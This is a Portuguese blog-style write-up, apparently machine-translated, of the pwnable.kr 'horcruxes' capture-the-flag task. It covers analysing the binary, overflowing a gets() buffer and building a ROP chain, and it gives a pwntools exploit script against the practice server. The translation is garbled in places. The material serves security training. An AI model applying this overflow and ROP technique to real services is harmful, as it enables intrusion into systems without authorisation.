Neste artigo, resolveremos a 21ª tarefa do site
pwnable.kr , destinado a compilar a cadeia ROP.
Informações OrganizacionaisEspecialmente para aqueles que desejam aprender algo novo e se desenvolver em qualquer uma das áreas de segurança da informação e da informática, escreverei e falarei sobre as seguintes categorias:
- PWN;
- criptografia (criptografia);
- tecnologias de rede (rede);
- reverso (engenharia reversa);
- esteganografia (estegano);
- pesquisa e exploração de vulnerabilidades na WEB.
Além disso, compartilharei minha experiência em análise forense de computadores, análise de malware e firmware, ataques a redes sem fio e redes locais, realização de protestos e explorações por escrito.
Para que você possa descobrir sobre novos artigos, software e outras informações, criei um
canal no Telegram e um
grupo para discutir quaisquer questões no campo da CID. Além disso, considerarei pessoalmente seus pedidos, perguntas, sugestões e recomendações
pessoais e responderei a todos .
Todas as informações são fornecidas apenas para fins educacionais. O autor deste documento não se responsabiliza por nenhum dano causado a alguém como resultado do uso dos conhecimentos e métodos obtidos como resultado do estudo deste documento.
Solução para a missão horcruxes
Não vejo razão para descrever o que é programação orientada a reverso, pois
este artigo descreve tudo em grande detalhe.
Clicamos no ícone de assinatura horcruxes e informamos que precisamos conectar via SSH com a senha de convidado.

Quando conectado, vemos o banner correspondente.

Vamos descobrir quais arquivos estão no servidor e quais direitos temos.

Há um arquivo leia-me, vamos ver qual mensagem eles nos deixaram.

É relatado que o programa é executado na porta 9032. Não recebemos o código-fonte; portanto, faça o download do programa por conta própria.
scp -P2222 horcruxes@pwnable.kr:horcruxes /root/

Execute-o no IDA e descompile-o. Existem três funções interessantes: dica, init_ABCDEFG e ropme.

A julgar pelo nome, a função de dica deve conter uma dica. Vamos vê-la.

Dizem que você precisa passar por 7 níveis. Bem, vamos dar uma olhada no ropme.

Já é mais interessante. O programa lê o número e, se for igual a um determinado valor de referência, é chamada uma função que exibe esse valor. E então existem 7 significados.

Se não houver correspondências, será solicitado que você insira uma sequência que se compare com a variável sum. Então, vamos dar uma olhada em init_ABCDEFG.

É aqui que ocorre a inicialização dos valores de referência, que são gerados aleatoriamente. E soma é a soma desses números.
Nós resolvemos o programa. A dica de ferramenta da missão diz ROP. A idéia é a seguinte: precisamos chamar todas as 7 funções para conhecer os valores de referência e, em seguida, chamar ropme novamente para transferir a soma desses valores.
Graças à função gets, podemos reescrever o endereço de retorno com uma cadeia de endereços. Calculamos o número de bytes para o endereço de retorno.

Assim, precisamos transferir o programa, precisamos transferir 0x78 bytes do stub e, em seguida, 8 endereços de funções. Na AID, encontramos os endereços de nossas funções.

Agora vamos escrever uma exploração.
rom pwn import * payload = "A" * 0x78 payload += p32(0x0809fe4b) payload += p32(0x0809fe6a) payload += p32(0x0809fe89) payload += p32(0x0809fea8) payload += p32(0x0809fec7) payload += p32(0x0809fee6) payload += p32(0x0809ff05) payload += p32(0x0809fffc) con = remote("pwnable.kr", 9032) con.recv() con.recv() con.send("123" + "\n") con.recv() con.send(payload + "\n") con.recv() ans = con.recv().split('\n') sum_result = 0 for i in range(1,8): sum_result += int(ans[i].split('+')[1].split(')')[0]) con.send("123" + "\n") con.send(str(sum_result) + "\n")

Obtemos a flag desejada e concluímos a primeira parte das tarefas em pwnable.kr.

Você pode se juntar a nós no
Telegram . Da próxima vez, trataremos do estouro de heap.